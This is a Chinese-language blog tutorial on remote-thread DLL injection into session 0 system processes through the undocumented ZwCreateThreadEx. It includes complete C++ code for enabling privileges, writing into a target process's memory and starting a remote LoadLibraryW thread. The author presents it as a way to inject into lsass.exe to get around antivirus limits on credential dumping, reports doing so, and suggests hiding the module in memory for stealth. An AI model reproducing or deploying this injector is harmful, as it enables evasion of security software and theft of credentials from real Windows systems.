遠端執行緒注入dll,突破session 0

Punished發表於2021-04-16

前言

之前已經提到過,遠執行緒注入記憶體寫入隱藏模組,今天介紹突破session 0的dll注入

其實今天寫這個的主要原因就是看到傾旋大佬有篇文章提到:有些反病毒引擎限制從lsass中dump出快取,可以通過注入lsass

看大佬的部落格真的可以學到很多哈哈

編譯環境

win10 vs2019

什麼是session 0

在Windows XP,Windows Server 2003以及更早的版本中,第一個登入的使用者以及Windows的所有服務都執行在Session 0上。
這樣做危險的地方是,使用者使用的應用程式可能會利用Windows的服務程式提升自己的許可權。

後續版本的windows,普通應用程式已經不再session 0中執行

 

 

思路

由於SESSION 0隔離機制,導致傳統遠端執行緒注入系統服務程式失敗。和傳統的 CreateRemoteThread 函式實現的遠執行緒注入 DLL 的唯一一個區別就是,我們呼叫的是更為底層的ZwCreateThreadEx來建立執行緒,

雖然CreateRemoteThread 函式到底層也是呼叫ZwCreateThreadEx,但在呼叫ZwCreateThreadEx時 ,ZwCreateThreadEx的第7個引數 CreateSuspended(CreateThreadFlags)的值始終為1,它會導致執行緒建立完成後一直掛起無法恢復執行,於是我們選擇直接呼叫ZwCreateThreadEx,將第7個引數直接置為0,這樣可達到注入目的

實現過程

先建立一個dll

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBox(NULL, L"遠端執行緒注入成功!", L"提示", NULL);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

這裡有一個坑:如果要注入系統程式的話,建立的dll一定要是64位的,這與當前的作業系統有關,後面編譯exe的時候也一定要是64位的,這個更當前exe多少位有關

這是我的作業系統版本

 

 

編寫程式

提升當前程式的許可權

 1 BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName)
 2 {
 3     HANDLE hToken = NULL;
 4     LUID luidValue = { 0 };
 5     TOKEN_PRIVILEGES tokenPrivileges = { 0 };
 6     BOOL bRet = FALSE;
 7     DWORD dwRet = 0;
 8     // 開啟程式令牌並獲取程式令牌控制程式碼
 9     bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
10     if (FALSE == bRet)
11     {
12         printf("OpenProcessToken");
13         return FALSE;
14     }
15     // 獲取本地系統的 pszPrivilegesName 特權的LUID值
16     bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
17     if (FALSE == bRet)
18     {
19         printf("LookupPrivilegeValue");
20         return FALSE;
21     }
22     // 設定提升許可權資訊
23     tokenPrivileges.PrivilegeCount = 1;
24     tokenPrivileges.Privileges[0].Luid = luidValue;
25     tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
26     // 提升程式令牌訪問許可權
27     bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
28     if (FALSE == bRet)
29     {
30         printf("AdjustTokenPrivileges");
31         return FALSE;
32     }
33     else
34     {
35         // 根據錯誤碼判斷是否特權都設定成功
36         dwRet = ::GetLastError();
37         if (ERROR_SUCCESS == dwRet)
38         {
39             return TRUE;
40         }
41         else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
42         {
43             printf("ERROR_NOT_ALL_ASSIGNED");
44             return FALSE;
45         }
46     }
47     return FALSE;
48 }

這裡參考了 https://www.write-bug.com/article/2012.html 

這個師傅對函式中三個API都有介紹

ZwCreateThreadEx

ZwCreateThreadEx 在 ntdll.dll 中並沒有宣告,所以我們需要使用 GetProcAddress 從 ntdll.dll 中獲取該函式的匯出地址。

在64位和32位中,函式定義還不一樣

64位中

 1 DWORD WINAPI ZwCreateThreadEx(
 2         PHANDLE ThreadHandle,
 3         ACCESS_MASK DesiredAccess,
 4         LPVOID ObjectAttributes,
 5         HANDLE ProcessHandle,
 6         LPTHREAD_START_ROUTINE lpStartAddress,
 7         LPVOID lpParameter,
 8         ULONG CreateThreadFlags,
 9         SIZE_T ZeroBits,
10         SIZE_T StackSize,
11         SIZE_T MaximumStackSize,
12         LPVOID pUnkown);

32位中

 1 DWORD WINAPI ZwCreateThreadEx(
 2         PHANDLE ThreadHandle,
 3         ACCESS_MASK DesiredAccess,
 4         LPVOID ObjectAttributes,
 5         HANDLE ProcessHandle,
 6         LPTHREAD_START_ROUTINE lpStartAddress,
 7         LPVOID lpParameter,
 8         BOOL CreateSuspended,
 9         DWORD dwStackSize,
10         DWORD dw1,
11         DWORD dw2,
12         LPVOID pUnkown);

大體思路更之前dll注入差不多,知識更改CreateRemoteThread 為ZwCreateThreadEx

核心程式碼

 1 DWORD _InjectSysThread(DWORD _Pid, LPCWSTR psDllFillName)
 2 {
 3     //開啟程式
 4     HANDLE hprocess;
 5     HANDLE hThread;
 6     DWORD _SIZE = 0;
 7     LPVOID pAlloc = NULL;
 8     DWORD psDllAddr = 0;
 9     FARPROC pThreadFunction;
10     DWORD ZwRet = 0;
11     hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
12     //在注入程式中寫入Loadlibrary名稱
13     _SIZE = (_tcslen(psDllFillName) + 1) * sizeof(TCHAR);
14     pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE);
15     if (pAlloc == NULL)
16     {
17         printf("VirtualAllocExERROR");
18         return FALSE;
19     }
20     BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllFillName, _SIZE, NULL);
21     if (FALSE == x)
22     {
23         printf("WriteProcessMemoryERROR");
24         return FALSE;
25     }
26 
27     HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
28     if (hNtdll == NULL)
29     {
30         printf("LoadLibraryERROR");
31         return FALSE;
32     }
33 
34     pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
35 
36 #ifdef _WIN64
37     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
38         PHANDLE ThreadHandle,
39         ACCESS_MASK DesiredAccess,
40         LPVOID ObjectAttributes,
41         HANDLE ProcessHandle,
42         LPTHREAD_START_ROUTINE lpStartAddress,
43         LPVOID lpParameter,
44         ULONG CreateThreadFlags,
45         SIZE_T ZeroBits,
46         SIZE_T StackSize,
47         SIZE_T MaximumStackSize,
48         LPVOID pUnkown
49         );
50 #else
51     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
52         PHANDLE ThreadHandle,
53         ACCESS_MASK DesiredAccess,
54         LPVOID ObjectAttributes,
55         HANDLE ProcessHandle,
56         LPTHREAD_START_ROUTINE lpStartAddress,
57         LPVOID lpParameter,
58         BOOL CreateSuspended,
59         DWORD dwStackSize,
60         DWORD dw1,
61         DWORD dw2,
62         LPVOID pUnkown
63         );
64 #endif 
65     typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
66     ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
67 
68     if (ZwCreateThreadEx == NULL)
69     {
70         printf("ZwCreateThreadExERROR");
71         return FALSE;
72     }
73     HANDLE hRemoteThread;
74     ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess,
75         (LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL);
76 
77     if (NULL == hRemoteThread)
78     {
79         printf("建立執行緒失敗");
80         CloseHandle(hprocess);
81         return FALSE;
82     }
83     WaitForSingleObject(hRemoteThread, -1);
84     VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);
85     CloseHandle(hRemoteThread);
86     CloseHandle(hprocess);
87     FreeLibrary(hNtdll);
88     return TRUE;
89 }

執行結果

這裡我選擇的是explorer.exe

注入lsass.exe ,只不過注入這類程式不會彈窗,但我們不需要彈窗嘛(滑稽)

 

 

 

 

 

 記得使用Procexp的時候管理員執行,要不然系統程式模組看不到

但是像這種程式csrss.exe

 

 遍歷不出來,我看到網上有個師傅說這個程式好像需要更高的許可權去訪問,注入的話也需要其他操作,應該是牽扯到0環層面了,小弟對0 環核心層並不熟悉,就寫到這裡,基本目標還是達成了

其實還可以記憶體寫入,隱藏模組,更加隱蔽

如果提權執行報錯的話,記得以管理員身份執行就好了

參考

https://www.write-bug.com/article/2013.html

https://idiotc4t.com/code-and-dll-process-injection/bypass-session-0-injection

相關文章